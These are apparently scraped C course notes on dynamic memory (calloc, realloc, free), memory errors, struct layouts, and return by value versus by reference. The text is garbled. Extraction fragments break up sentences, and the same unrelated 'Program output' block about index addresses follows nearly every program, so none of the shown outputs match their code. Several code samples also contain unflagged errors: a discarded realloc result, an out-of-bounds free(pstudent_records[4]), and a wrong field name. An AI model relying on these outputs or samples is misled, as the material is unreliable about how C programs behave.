What happens if I do,
1[new_haiku] = `*` ;
callocSignature:
void* calloc(size_t nmemb, size_t size);
nmemb*size bytes0calloc(10, sizeof(int)) ;
10 integers0#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
// ALWAYS good to define array sizes as such constants
#define ARRAY_SIZE 16
int main()
{
// replace with calloc()
// int* pi = (int*) malloc( sizeof(int) * ARRAY_SIZE ) ;
int* pi = (int*) calloc( ARRAY_SIZE, sizeof(int) ) ; // notice the difference in args
assert(pi) ; // check that a valid address was returned
pi[0] = 233 ;
printf( "After malloc\n") ;
for( unsigned int i = 0 ; i < ARRAY_SIZE ; ++i )
printf( "pi[%d] = %d\t", i, pi[i] ) ;
printf( "\n" ) ;
printf("\n") ;
return 0 ;
}
Compare the differences, if any, in the outputs of the above two pieces of code.
reallocSignature:
void* realloc(void *ptr, size_t size);
ptrsizesize (create a new pointer,
ptr2)ptr →
ptr2ptr*ptr if the new size fits*ptr2, i.e., pointer to new
allocationThere are some “oddities” you need to be aware of while
using realloc():
calloc() →
remember it sets the memory to 0realloc will not set
extended memory to 0calloc created a 10 byte array,
pa0realloc(pa, 20)10 bytes not set to
0Adapting the code example from earlier, let’s assume we now have a much longer poem to copy,
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
// ALWAYS good to define array sizes as such constants
#define HAIKU_SIZE 128
int main()
{
// Create a new string to store the Haiku
char haiku[] = "'You Laughed While I Slept'\n\
- by Bertram Dobell\n\
\n\
You laughed while I wept,\n\
Yet my tears and your laughter\n\
Had only one source." ;
// get space to store it
char* new_haiku = (char*)malloc( sizeof(char)*128 ) ;
// Deep Copy
strcpy( new_haiku, haiku ) ;
// ... same code as before
// Now we have a new, LONGER, poem
char twain_poem[] = "'These Annual Bills'\n\
- Mark Twain\n\
\n\
These annual bills! these annual bills!\n\
How many a song their discord trills \n\
Of 'truck' consumed, enjoyed, forgot,\n\
Since I was skinned by last year's lot!\n\
Those joyous beans are passed away;\n\
\n\
Those onions blithe, O where are they?\n\
Once loved, lost, mourned-now vexing ILLS\n\
Your shades troop back in annual bills! \n\
\n\
And so 'twill be when I'm aground \n\
These yearly duns will still go round, \n\
While other bards, with frantic quills,\n\
\n\
Shall damn and damn these annual bills!" ;
// Deep Copy?
strcpy( new_haiku, twain_poem ) ;
printf( "\n---------------\n" ) ;
printf( "%s\n\n", twain_poem ) ;
printf( "new_haiku = %s\n\n", new_haiku ) ;
printf( "new_haiku size = %lu \t twain size = %lu", sizeof(new_haiku), sizeof(twain_poem) ) ;
printf("\n") ;
return 0 ;
}
We see some random behaviors. Program can crash!
Some important issues: 1. strcpy()
does not do a bounds check while copying!
Use strncpy() instead. 2. we need to
increase the space for new_haiku, so
we use realloc().
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
// ALWAYS good to define array sizes as such constants
#define HAIKU_SIZE 128
#define POEM_SIZE 1024
int main()
{
// Create a new string to store the Haiku
char haiku[] = "'You Laughed While I Slept'\n\
- by Bertram Dobell\n\
\n\
You laughed while I wept,\n\
Yet my tears and your laughter\n\
Had only one source." ;
// get space to store it
char* new_haiku = (char*)malloc( sizeof(char)*128 ) ;
// Deep Copy
strcpy( new_haiku, haiku ) ;
// ... same code as before
// Now we have a new, LONGER, poem
char twain_poem[] = "'These Annual Bills'\n\
- Mark Twain\n\
\n\
These annual bills! these annual bills!\n\
How many a song their discord trills \n\
Of 'truck' consumed, enjoyed, forgot,\n\
Since I was skinned by last year's lot!\n\
Those joyous beans are passed away;\n\
\n\
Those onions blithe, O where are they?\n\
Once loved, lost, mourned-now vexing ILLS\n\
Your shades troop back in annual bills! \n\
\n\
And so 'twill be when I'm aground \n\
These yearly duns will still go round, \n\
While other bards, with frantic quills,\n\
\n\
Shall damn and damn these annual bills!" ;
// realloc for more space
new_haiku = (char*) realloc( new_haiku, POEM_SIZE ) ;
assert(new_haiku) ; // ALWAYS CHECK!
// Deep Copy?
strcpy( new_haiku, twain_poem ) ;
printf( "\n---------------\n" ) ;
printf( "%s\n\n", twain_poem ) ;
printf( "new_haiku = %s\n\n", new_haiku ) ;
printf( "new_haiku size = %lu \t twain size = %lu", sizeof(new_haiku), sizeof(twain_poem) ) ;
printf("\n") ;
return 0 ;
}
free()Signature: void free(void *ptr);
ptr
ptr is NULLModifying the above code block:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
// ALWAYS good to define array sizes as such constants
#define ARRAY_SIZE 16
int main()
{
// replace with calloc()
// int* pi = (int*) malloc( sizeof(int) * ARRAY_SIZE ) ;
int* pi = (int*) calloc( ARRAY_SIZE, sizeof(int) ) ; // notice the difference in args
assert(pi) ; // check that a valid address was returned
pi[0] = 233 ;
printf( "After malloc\n") ;
for( unsigned int i = 0 ; i < ARRAY_SIZE ; ++i )
printf( "pi[%d] = %d\t", i, pi[i] ) ;
printf( "\n" ) ;
// double the size o
realloc( pi, ARRAY_SIZE*2 ) ;
printf( "After realloc\n") ;
for( unsigned int i = 0 ; i < ARRAY_SIZE*2 ; ++i )
printf( "pi[%d] = %d\t", i, pi[i] ) ;
printf( "\n" ) ;
// I WANT TO BREAK FREE!
free(pi) ;
printf("\n") ;
return 0 ;
}
A few things to keep in mind w.r.t. memory allocation in
C:
int *arr = malloc(sizeof(int) * n); to allocate
an array of ints with a length of
n.malloc is not guaranteed
to initialize its memory to 0. You
must make sure that your array gets initialized. It is not
uncommon to do a
memset(arr, 0, sizeof(int) * n); to set the
memory 0.calloc is guaranteed to initialize all its
allocated memory to 0.Be aware of these issues as you use pointers and memory allocation/free.
Note: valgrind will help you debug the last
three of these issues.
NULL#include <stdlib.h>
int
main(void)
{
int *a = malloc(sizeof(int));
/* Error: did not check return value! */
*a = 1;
free(a);
return 0;
}
Program output:
0th index: 0x16baaadc0 == 0x16baaadc0; 6 == 6
nth index: 0x16baaadc4 == 0x16baaadc4; 7 == 7
malloc() maybefree() until all
references are done#include <stdlib.h>
int
main(void)
{
int *a = malloc(sizeof(int));
if (a == NULL) return -1;
free(a);
/* Error: accessing what `a` points to after `free`! */
return *a;
}
Program output:
0th index: 0x16f10adc0 == 0x16f10adc0; 6 == 6
nth index: 0x16f10adc4 == 0x16f10adc4; 7 == 7
free()!
free() with
an allocation#include <stdlib.h>
int
main(void)
{
int *a = malloc(sizeof(int));
if (!a) return -1;
a = NULL;
/* Error: never `free`d `a` and no references to it remain! */
return 0;
}
Program output:
0th index: 0x16b292dc0 == 0x16b292dc0; 6 == 6
nth index: 0x16b292dc4 == 0x16b292dc4; 7 == 7
free memory
twice
#include <stdlib.h>
int
main(void)
{
int *a = malloc(sizeof(int));
if (!a) return -1;
free(a);
free(a);
/* Error: yeah, don't do that! */
return 0;
}
Program output:
0th index: 0x16cf2edc0 == 0x16cf2edc0; 6 == 6
nth index: 0x16cf2edc4 == 0x16cf2edc4; 7 == 7
We’re going to look at a set of variables as memory. When variables are created globally, they are simply allocated into subsequent addresses.
#include <stdio.h>
#include <string.h>
void print_values(void);
unsigned char a = 1;
int b = 2;
struct foo {
long c_a, c_b;
int *c_c;
};
struct foo c = (struct foo) { .c_a = 3, .c_c = &b };
unsigned char end;
int
main(void)
{
size_t vars_size;
unsigned int i;
unsigned char *mem;
/* Q1: What would you predict the output of &end - &a is? */
printf("Addresses:\na @ %p\nb @ %p\nc @ %p\nend @ %p\n"
"&end - &a = %ld\n", /* Note: you can split strings! */
&a, &b, &c, &end, &end - &a);
printf("\nInitial values:\n");
print_values();
/* Q2: Describe what these next two lines are doing. */
vars_size = &end - &a;
mem = &a;
/* Q3: What would you expect in the following printout (with the print uncommented)? */
printf("\nPrint out the variables as raw memory\n");
for (i = 0; i < vars_size; i++) {
unsigned char c = mem[i];
// printf("%x ", c);
}
/* Q4: What would you expect in the following printout (with the print uncommented)? */
memset(mem, 0, vars_size);
/* memset(a, b, c): set the memory starting at `a` of size `c` equal `b` */
printf("\n\nPost-`memset` values:\n");
// print_values();
return 0;
}
void
print_values(void)
{
printf("a = %d\nb = %d\nc.c_a = %ld\nc.c_b = %ld\nc.c_c = %p\n",
a, b, c.c_a, c.c_b, c.c_c);
}
Program output:
0th index: 0x16b03edc0 == 0x16b03edc0; 6 == 6
nth index: 0x16b03edc4 == 0x16b03edc4; 7 == 7
Question Answer Q1-4 in the code, uncommenting and modifying where appropriate.
b) with an
integer type (sizeof(int) == 4) should always
have an address that is a multiple of its size
(&b % sizeof(b) == 0, so an
int’s address is always divisible by
4, a long’s by
8).&end - &a, is
crazy. We’re used to performing math operations
values on things of the same type, but not on
pointers. This is only possible because C sees the
variables are chunks of memory that happen to be laid out in
memory, one after the other.mem = &a, and our iteration through
mem[i]. We’re able to completely ignore the
types in C, and access memory directly!Question: What would break if we changed
char a; into int a;? C doesn’t let
us do math on variables of any type. If you fixed
compilation problems, would you still get the same
output?
Please read the man pages for
lsearch and lfind.
man pages can be pretty cryptic, and you are
aiming to get some idea where to start with an
implementation. An simplistic, and incomplete initial
implementation:
#include <stdio.h>
#include <assert.h>
#include <search.h>
#define NUM_ENTRIES 8
struct kv_entry {
int key; /* only support keys for now... */
};
/* global values are initialized to `0` */
struct kv_entry entries[NUM_ENTRIES];
size_t num_items = 0;
/**
* Insert into the key-value store the `key` and `value`.
* Return `0` on successful insertion of the value, or `-1`
* if the value couldn't be inserted.
*/
int
put(int key, int value)
{
return 0;
}
/**
* Attempt to get a value associated with a `key`.
* Return the value, or `0` if the `key` isn't in the store.
*/
int
get(int key)
{
return 0;
}
int
compare(const void *a, const void *b)
{
/* We know these are `int`s, so treat them as such! */
const struct kv_entry *a_ent = a, *b_ent = b;
if (a_ent->key == b_ent->key) return 0;
return -1;
}
int
main(void)
{
struct kv_entry keys[] = {
{.key = 1},
{.key = 2},
{.key = 4},
{.key = 3}
};
int num_kv = sizeof(keys) / sizeof(keys[0]);
int queries[] = {4, 2, 5};
int num_queries = sizeof(queries) / sizeof(queries[0]);
int i;
/* Insert the keys. */
for (i = 0; i < num_kv; i++) {
lsearch(&keys[i], entries, &num_items, sizeof(entries) / sizeof(entries[0]), compare);
}
/* Now lets lookup the keys. */
for (i = 0; i < num_queries; i++) {
struct kv_entry *ent;
int val = 0;
ent = lfind(&queries[i], entries, &num_items, sizeof(entries[0]), compare);
if (ent != NULL) {
val = ent->key;
}
printf("%d: %d @ %p\n", i, val, ent);
}
return 0;
}
Program output:
0th index: 0x16dda2dc0 == 0x16dda2dc0; 6 == 6
nth index: 0x16dda2dc4 == 0x16dda2dc4; 7 == 7
You want to implement a simple “key-value” store that is very similar in API to a hash-table (many key-value stores are implemented using hash-tables!).
Questions/Tasks:
lsearch and lfind? The
manpages should help here
(man 3 lsearch) (you can exit from a
man page using ‘q’). What operations would you
want to perform with each (and why)?put and get functions.main for
the relevant conditions and failures in get and
put.It is important to understand how memory in
C (e.g., variables, dynamic memory
such from malloc(), .), once
allocated, is laid out in memory. This
particularly important when dealing with pointers, arrays,
complex types built using struct,
etc.
Consider the following example: suppose
we need to create a database of student records. We can,
perhaps, create a simle struct as follows:
struct student{
unsigned int _gwid ;
char _name [128] ;
} ;
The memory layout for this struct will look like:
where the memory for the two variables,
_gwid and name are (likely)
consecutively laid out in memory (note:
unsigned int is typically 4 bytes
for 32-bit architectures but can be 8 bytes in
64-bit architectures.).
In the above example, the array, _name[128]
has a fixed size, 128 bytes.
While this may be enough for most names, there’s a
likelihood that names can be longer. Hence,
128 bytes may not be enough. On the other hand,
if most names in the database are much smaller, then we will
end up wasting a lot of memory (especially as the
number of student records grows). For instance, if most
names take up only 64 bytes and if we have a
records, then we’re wasting 6.4 million bytes!
In some systems this can be prohibitive. Even otherwise,
this is memory that other applications (or the OS) can
use.
What is the solution then?
We can dynamically allocate memory for
_name (based on how much memory is needed
at runtime), i.e., make it a
pointer!
So, once we update the struct, we get the
following memory layout:
Note: a pointer’s size depends on the architecture:
architecture size (bytes) 32-bit 4 bytes 64-bit 8 bytes
So, now we must allocate memory for us to store names, .e.g.,
new_student._name = (char*) malloc( sizeof(char) * 128 ) ;
The memory layout will now look like,

Since we want to create a database of student records, we
need to story more than one. One way could be to create an
array of struct student,
struct student{
unsigned int _gwid ;
char _name [128] ;
} ;
struct student student_records[4] ;
Recall (from above) what the memory layout for
one struct (still with the hardcoded
array for _name, i.e., an array of
128 bytes) looks like. Now, the memory layout
for an array will look like,
Remember that,
_student_records, the array name is a
pointer to the start of the array memory
address.Hence, when you access each element of the array, e.g., `student_records[n]

Of course, this still suffers from the earlier issue with
the fixed value for the size of _name. Hence,
we want to use the pointer version of the struct.
So, if we create an array of struct student as
follows,
struct student{
unsigned int _gwid ;
char* _name ; // this is a pointer now
} ;
struct student student_records[4] ;
The memory layout for the student_records
array will look like (again recall what the memory layout
for one struct will look like from above),
As before, to access each element of this array, we can
use the [] operator,

Note, we need to be careful with how we access/allocate/use the memory now. More of that later.
Let’s draw the same figure this way for convenience:

Remember that _name still needs memory! So
we can allocate it, say using malloc(). Hence,
allocating memory for the first _name
may look like this:
struct student{
unsigned int _gwid ;
char* _name ; // this is a pointer now
} ;
struct student student_records[4] ;
student_records[0]._name = (char*) malloc( sizeof(char)*128 ) ; // allocate memory for first name
The memory layout, after one _name
allocation will look like:
Updated memory layout after all four
_name allocations
and the corresponding code will look like,
struct student{
unsigned int _gwid ;
char* _name ; // this is a pointer now
} ;
struct student student_records[4] ;
student_records[0]._name = (char*) malloc( sizeof(char)*128 ) ; // allocate memory for first name
student_records[1]._name = (char*) malloc( sizeof(char)*128 ) ; // allocate memory for second name
student_records[2]._name = (char*) malloc( sizeof(char)*128 ) ; // allocate memory for third name
student_records[3]._name = (char*) malloc( sizeof(char)*128 ) ; // allocate memory for fourth name
Let’s go one step further…
struct student* student_records[4] ;
what does this do?
It creates an array of pointers to
struct (remember to read the
definitions from right to left)!
The memory layout now looks like,
(Compare this to the previous layouts)
Hence, when we dereference each element of the array,
e.g., student_records[0], we get back,
a struct student*, i.e., a
pointer.
So, as a first step, we must allocate a struct!
struct student{
unsigned int _gwid ;
char* _name ; // this is a pointer now
} ;
struct student* student_records[4] ; // an array of pointers!
student_records[0] = (struct student*) malloc( sizeof(struct student) ) ; // allocate memory for a struct first!
The memory layout after allocating the struct:
We’re still missing something → no memory
space for _name (remember it is still
a pointer)! As before, we need to use malloc()
for this:
struct student{
unsigned int _gwid ;
char* _name ; // this is a pointer now
} ;
struct student* student_records[4] ; // an array of pointers!
student_records[0] = (struct student*) malloc( sizeof(struct student) ) ; // allocate memory for a struct first!
student_records[0]->name = (char*) malloc( sizeof(char) * 128 ) ; // allocate memory for name, note the -> operator
Note the
->operator!When we’re trying to access members of a
struct(orunion) using pointers, we use the->operator. note the differences between the following:
variable type access examples normal variable
struct student sibin ;sibin._name = malloc(...) ;
printf( "name = %s\n", sibin._name ) ;pointer variable
struct student* psibin = &sibin ;psibin->_name = malloc(...) ;
printf( "gwid = %d\n", psibin->_gwid ) ;
Now, the memory layout after allocating both, the
struct and _name,
To allocate all of the required memory
for the entire array, i.e., allocating for
all struct and _name pointers, we
need to,
struct student{
unsigned int _gwid ;
char* _name ; // this is a pointer now
} ;
struct student* student_records[4] ; // an array of pointers!
student_records[0] = (struct student*) malloc( sizeof(struct student) ) ; // allocate memory for a struct first!
student_records[0]->name = (char*) malloc( sizeof(char) * 128 ) ; // allocate memory for name, note the -> operator
student_records[1] = (struct student*) malloc( sizeof(struct student) ) ; // allocate memory for a struct first!
student_records[1]->name = (char*) malloc( sizeof(char) * 128 ) ; // allocate memory for name, note the -> operator
student_records[2] = (struct student*) malloc( sizeof(struct student) ) ; // allocate memory for a struct first!
student_records[2]->name = (char*) malloc( sizeof(char) * 128 ) ; // allocate memory for name, note the -> operator
student_records[3] = (struct student*) malloc( sizeof(struct student) ) ; // allocate memory for a struct first!
student_records[3]->name = (char*) malloc( sizeof(char) * 128 ) ; // allocate memory for name, note the -> operator
The final memory layout will look like,

The problem is that the code to initialize the entire
array (struct and _name) is quite
laborious and ugly since we are initializing each
one explicitly in code. Imagine if we had hundreds
or thousands of new student records to
initialize/store!
To solve this problem, we create an
interface for creating new
records. An “interface” is usually a fancy way of
saying function. So, we define a
new function say, create_student_record() as
follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// a macro to define the largest size for a name
#define MAX_NAME_SIZE 256
struct student{
unsigned int _gwid ;
char* _name ;
} ;
struct student create_student_record( unsigned int gwid, char* name )
{
struct student new_student ;
new_student._gwid = gwid ;
new_student._name = (char*)malloc( sizeof(char)*MAX_NAME_SIZE ) ;
strcpy( new_student._name, name ) ; // deep copy
return new_student ;
}
Program output:
0th index: 0x16f23adc0 == 0x16f23adc0; 6 == 6
nth index: 0x16f23adc4 == 0x16f23adc4; 7 == 7
And we use the function as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// a macro to define the largest size for a name
#define MAX_NAME_SIZE 256
struct student{
unsigned int _gwid ;
char* _name ;
} ;
struct student create_student_record( unsigned int gwid, char* name )
{
struct student new_student ;
new_student._gwid = gwid ;
new_student._name = (char*)malloc( sizeof(char)*MAX_NAME_SIZE ) ;
strcpy( new_student._name, name ) ; // deep copy
return new_student ;
}
int main()
{
struct student me = create_student_record( 920348, "sibin" ) ;
// An array of struct OBJECTS
struct student student_records[4] ;
// Use the create INTERFACE to fill the array
student_records[0] = create_student_record( 123, "ABC" ) ;
student_records[1] = create_student_record( 456, "DEF" ) ;
student_records[2] = create_student_record( 789, "GHI" ) ;
student_records[3] = create_student_record( 987, "JKL" ) ;
printf( "\n" ) ;
return 0 ;
}
Program output:
0th index: 0x16d0e6dc0 == 0x16d0e6dc0; 6 == 6
nth index: 0x16d0e6dc4 == 0x16d0e6dc4; 7 == 7
What, if anything, is the problem here?
Consider the first line,
struct student me = create( 920348, "sibin" ) ;.
The return value from create_student_record()
is a struct so the values of the original
struct, created inside the function, are
copied over to the the one in main,
i.e., me. Except,
when copying over the _name variables, we’re
doing a shallow copy since we’re
only copying the pointers and not the underlying
data (names in this case)!
To avoid this problem, let’s return a
pointer to struct student, as
follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// a macro to define the largest size for a name
#define MAX_NAME_SIZE 256
struct student{
unsigned int _gwid ;
char* _name ;
} ;
// copied struct but shallow copy returned (for _name)
struct student create_student_record( unsigned int gwid, char* name )
{
struct student new_student ;
new_student._gwid = gwid ;
new_student._name = (char*)malloc( sizeof(char)*MAX_NAME_SIZE ) ;
strcpy( new_student._name, name ) ; // deep copy
return new_student ;
}
// return a pointer to the struct to avoid shallow copy
// note: we're returning a pointer to the ORIGINAL memory that was created
struct student* create_student_record_pointer( unsigned int gwid, const char* name )
{
struct student* pnew_student = (struct student*) malloc( sizeof(struct student) ) ;
pnew_student->_gwid = gwid ;
pnew_student->_name = (char*)malloc( sizeof(char)*MAX_NAME_SIZE ) ;
strcpy( pnew_student->_name, name ) ;
return pnew_student ;
}
int main()
{
struct student* pme = create_student_record_pointer( 920348, "sibin" ) ; // returning/storing a pointer
// An array of POINTERS to struct
struct student* pstudent_records[4] ;
// Use the (pointer) create INTERFACE to fill the array
pstudent_records[0] = create_student_record_pointer( 123, "ABC" ) ;
pstudent_records[1] = create_student_record_pointer( 456, "DEF" ) ;
pstudent_records[2] = create_student_record_pointer( 789, "GHI" ) ;
pstudent_records[3] = create_student_record_pointer( 987, "JKL" ) ;
printf( "\n" ) ;
return 0 ;
}
Program output:
0th index: 0x16f9b2dc0 == 0x16f9b2dc0; 6 == 6
nth index: 0x16f9b2dc4 == 0x16f9b2dc4; 7 == 7
This code should work. In fact, if we want tp print the records, we can define an interface for that as well.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// a macro to define the largest size for a name
#define MAX_NAME_SIZE 256
struct student{
unsigned int _gwid ;
char* _name ;
} ;
// return a pointer to the struct to avoid shallow copy
// note: we're returning a pointer to the ORIGINAL memory that was created
struct student* create_student_record_pointer( unsigned int gwid, const char* name )
{
struct student* pnew_student = (struct student*) malloc( sizeof(struct student) ) ;
pnew_student->_gwid = gwid ;
pnew_student->_name = (char*)malloc( sizeof(char)*MAX_NAME_SIZE ) ;
strcpy( pnew_student->_name, name ) ;
return pnew_student ;
}
// interface to print a SINGLE student record, given a pointer to it
void print_student_record( const struct student* record )
{
printf( "gwid = %d\t name = %s\n", record->_gwid, record->_name ) ;
}
int main()
{
struct student* pme = create_student_record_pointer( 920348, "sibin" ) ; // returning/storing a pointer
// An array of POINTERS to struct
struct student* pstudent_records[4] ;
// Use the (pointer) create INTERFACE to fill the array
pstudent_records[0] = create_student_record_pointer( 123, "ABC" ) ;
pstudent_records[1] = create_student_record_pointer( 456, "DEF" ) ;
pstudent_records[2] = create_student_record_pointer( 789, "GHI" ) ;
pstudent_records[3] = create_student_record_pointer( 987, "JKL" ) ;
// UGLY way to print, call the interface instead
printf( "\nAll Student Records (FOR LOOP):\n----------------------\nGIWD \t Name\n" ) ;
for(unsigned int i = 0 ; i < 4 ; ++i)
printf( "Student record %d: gwid = %d\t name = %s\n", i,
pstudent_records[i]->_gwid, pstudent_records[i]->_name ) ;
printf( "\nAll Student Records (INTERFACE):\n----------------------\nGIWD \t Name\n" ) ;
// print using INTERFACE -- same effect as above printf
for(unsigned int i = 0 ; i < 4 ; ++i)
{
printf( "Student record %d: ", i ) ;
print_student_record( pstudent_records[i] ) ;
}
printf( "\n" ) ;
return 0 ;
}
Program output:
0th index: 0x16b0fedc0 == 0x16b0fedc0; 6 == 6
nth index: 0x16b0fedc4 == 0x16b0fedc4; 7 == 7
There still remains a serious problem with this code
(even though it compiles and runs). There are lots of
memory leaks! We need to call
free() to release the memory back to the system
once we are done with it. In this case, at the end of the
main() function.
So, will this work?
free(pstudent_records) ;
It won’t work since we’re only releasing the memory
for the array. Remember we used malloc()
for each of the following: * each
struct student* in the array * each
char* _name in each of the structs
thus allocated!
A lot of memory will leak. Hence, we need to carefully release all of it.
// FIRST, free the memory for _name
free(pstudent_records[0]->_name) ;
// SECOND, free the struct
free(pstudent_records[0]) ;
// REPEAT for all
free(pstudent_records[1]->_name) ;
free(pstudent_records[1]) ;
free(pstudent_records[2]->_name) ;
free(pstudent_records[2]) ;
free(pstudent_records[3]->_name) ;
free(pstudent_records[4]) ;
But this is fairly ugly code as well – and quite
unmanageable for a large number of records. As before, we
create a new interface, delete_student_record()
to properly delete a record
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// a macro to define the largest size for a name
#define MAX_NAME_SIZE 256
struct student{
unsigned int _gwid ;
char* _name ;
} ;
// return a pointer to the struct to avoid shallow copy
// note: we're returning a pointer to the ORIGINAL memory that was created
struct student* create_student_record_pointer( unsigned int gwid, const char* name )
{
struct student* pnew_student = (struct student*) malloc( sizeof(struct student) ) ;
pnew_student->_gwid = gwid ;
pnew_student->_name = (char*)malloc( sizeof(char)*MAX_NAME_SIZE ) ;
strcpy( pnew_student->_name, name ) ;
return pnew_student ;
}
// interface to print a SINGLE student record, given a pointer to it
void print_student_record( const struct student* record )
{
// WHY is this 'const'?
printf( "gwid = %d\t name = %s\n", record->_gwid, record->_name ) ;
}
void delete_student_record( struct student* pstudent )
{
print_student_record( pstudent ) ; // reuse the print interface!
free(pstudent->_name) ;
free(pstudent) ;
}
int main()
{
struct student* pme = create_student_record_pointer( 920348, "sibin" ) ; // returning/storing a pointer
// An array of POINTERS to struct
struct student* pstudent_records[4] ;
// Use the (pointer) create INTERFACE to fill the array
pstudent_records[0] = create_student_record_pointer( 123, "ABC" ) ;
pstudent_records[1] = create_student_record_pointer( 456, "DEF" ) ;
pstudent_records[2] = create_student_record_pointer( 789, "GHI" ) ;
pstudent_records[3] = create_student_record_pointer( 987, "JKL" ) ;
// UGLY way to print, call the interface instead
printf( "\nAll Student Records (FOR LOOP):\n----------------------\nGIWD \t Name\n" ) ;
for(unsigned int i = 0 ; i < 4 ; ++i)
printf( "Student record %d: gwid = %d\t name = %s\n", i,
pstudent_records[i]->_gwid, pstudent_records[i]->_name ) ;
// print using INTERFACE -- same effect as above printf
printf( "\nAll Student Records (INTERFACE):\n----------------------\nGIWD \t Name\n" ) ;
for(unsigned int i = 0 ; i < 4 ; ++i)
{
printf( "Student record %d: ", i ) ;
print_student_record( pstudent_records[i] ) ;
}
// Use the DELETE interface to PROPERLY clean up memory
printf( "\nDeleting all Student Records (INTERFACE):\n----------------------\nGIWD \t Name\n" ) ;
for(unsigned int i = 0 ; i < 4 ; ++i )
{
// send each element of the array to be "cleaned up
delete_student_record( pstudent_records[i] ) ;
}
// ALL Memory properly released!
printf( "\n" ) ;
return 0 ;
}
Program output:
0th index: 0x16f406dc0 == 0x16f406dc0; 6 == 6
nth index: 0x16f406dc4 == 0x16f406dc4; 7 == 7
Remember that properly designing and using programmatic
interfaces is a critical part of system design and software
development. All of the system calls, e.g.,
printf(), malloc(), etc.
are interfaces that we use to interact with the system,
i.e., the operating system!
As mentioned earlier, returning a struct
object from a function (say
create_student_record) can result in some
problems such as shallow copy. There is another serious
problem – performance!
Consider the following code (name the file
return_value.c):
/*
* CSC 2410 Code Sample
* interface design | return by VALUE
* Fall 2024
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <stdlib.h>
#define MAX_VALUE 1000
struct value
{
char _array[MAX_VALUE] ;
} ;
struct value create_value()
{
struct value new_value ;
return new_value ;
}
int main( int argc, char* argv[] )
{
if( argc != 2 )
{
printf( "usage: ./return_value <size_of_loop>\n\n" ) ;
return -1 ;
}
struct value v ;
for(unsigned int i = 0 ; i < atoi(argv[1]); ++i )
v = create_value() ;
return 0 ;
}
Compile this code as follows:
gcc return_value.c -o return_value
And run it as follows:
$> time return_value 100
The
timecommand line utility provides information on how long a program took to run. Look it up usingman time.
The value 100 is the command line
input to the program. In this instance, it
determines how many iterations of the loop in
main() are run. We will learn more about
command line inputs later.
We see the following output:
real 0m0.002s
user 0m0.002s
sys 0m0.001s
So the program took approx 0.002 seconds to
run.
We can increaase how many times the program runs, with examples such as:
$> time return_value 10000
and we see the times increase,
real 0m0.004s
user 0m0.000s
sys 0m0.004s
When the input becomes very large, as expected, the program takes longer:
$> time return_value 100000000
real 0m5.267s
user 0m5.262s
sys 0m0.005s
This is expected behavior. We are asking, of course, for
the loop to be run a 100 million times! And
5 seconds is not a bad amount of time for
that.
But now, watch what happens if we change the size of the
array in the struct. So we change,
MAX_VALUE 1000000.
After recompiling, we run as before,
$> time return_value 10000
real 0m1.801s
user 0m1.797s
sys 0m0.005s
Hmmm, even for an input of 10000, it is
taking close ro 2 seconds! If we try a slightly
larger input, say,
$>time return_value 100000
real 0m17.628s
user 0m17.626s
sys 0m0.001s
It takes 17 seconds! What
is happening here?
Answer: the problem lies in the return value of the function,
struct value create_value()
We are returning a copy of the actual object. Hence, when we call,
struct value v = create_value() ;
The entire original object’s memory
(i.e., the one create inside the
create_value() function) is copied
over to the memory space of the new object
v. And since each struct has an array
of a million bytes, this takes
time. With an increase in the number of iterations, we can
see this blows up (and significantly slows down)
really quickly!
This method (returning a copy of the actual object from a function) is referred to as return by value.
How do we solve this problem?
We return by reference, i.e.,
in C, we return a pointer to
the object and not the entire object in itself!
Let’s see what that looks like. Consider the following
code (name the file return_reference.c):
/*
* CSC 2410 Code Sample
* interface design | return by REFERENCE
* Fall 2024
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <stdlib.h>
#define MAX_VALUE 1000000
struct value
{
char _array[MAX_VALUE] ;
} ;
// RETURNING A POINTER
struct value* create_value()
{
// we malloc the new struct
// note that we DID NOT change the _array to be a pointer!
// the malloc() still returns a LARGE struct with a million+ bytes
struct value* new_value = (struct value*) malloc( sizeof(struct value) ) ;
return new_value ;
}
int main( int argc, char* argv[] )
{
if( argc != 2 )
{
printf( "usage: ./return_reference <size_of_loop>\n\n" ) ;
return -1 ;
}
// This is a POINTER now
struct value* v ;
for(unsigned int i = 0 ; i < atoi(argv[1]); ++i )
v = create_value() ;
return 0 ;
}
Compile this code as follows:
gcc return_value.c -o return_value
Now, let’s run (and time) it as we did with the other program:
$> time ./return_reference 10000
real 0m0.060s
user 0m0.016s
sys 0m0.044s
An input of 10000 takes
0.06 seconds, significantly less than
that for the other case that took 1.8 seconds!
That’s a difference of three orders of
magnitude!
Now, let’s see what happens when we increase the number of iterations,
$> time ./return_reference 100000
real 0m0.454s
user 0m0.111s
sys 0m0.343s
it takes only 0.45 seconds
as compared to the `17 seconds for the previous case. Again,
a significant change. These differences grow quite rapidly
when we increase the inputs further.
The sequence of events is:
create_value()_ using
malloc()main() function gets a copy of
the pointer → that points to the original
memory chunkHence, the performance gains are significant. Multiple orders of magnitude!
We’re returning a reference to the memory block (as a pointer) and not copying the contents of the memory block.
Note: in this implementation (return by
reference), there is one significant issue that can crop up
– memory leaks – since we use
malloc() but haven’t called free()
anywhere! This is left as an exercise for the readers to
think about.
..are the same thing!
4 bytesint a[5]5 ints, each of
4 bytes 
a[0] is: 
a[1] is → same as
++a! 

what if we want to access the individual bytes?
4 bytesint* to char*now, as before, if we have →
int a[5]
and we do,
char* pc = (char*) a ;
pc points to the same
memory region as a
but now, can treat it as characters
i.e., one byte
so pc[0] is: 
pc[1] is → same as ++pc!

Consider the following code:
#include <assert.h>
#include <stdio.h>
int main()
{
int* a = (int*)malloc( sizeof(int) ) ;
assert(a != NULL) ; // SAME as assert (a)
*a = 1145258561 ;
printf( "a = %d\n", *a ) ;
char* ppc = (char*) a ;
for(unsigned int i = 0 ; i < sizeof(a); ++i )
printf( "%c ", *ppc++ ) ;
printf("\n") ;
return 0 ;
}
Program output:
0th index: 0x16b8cadc0 == 0x16b8cadc0; 6 == 6
nth index: 0x16b8cadc4 == 0x16b8cadc4; 7 == 7
void*void*void* pv = malloc(32);
int* pi = (int*) pv ;
double* pd = (double*) pv ;
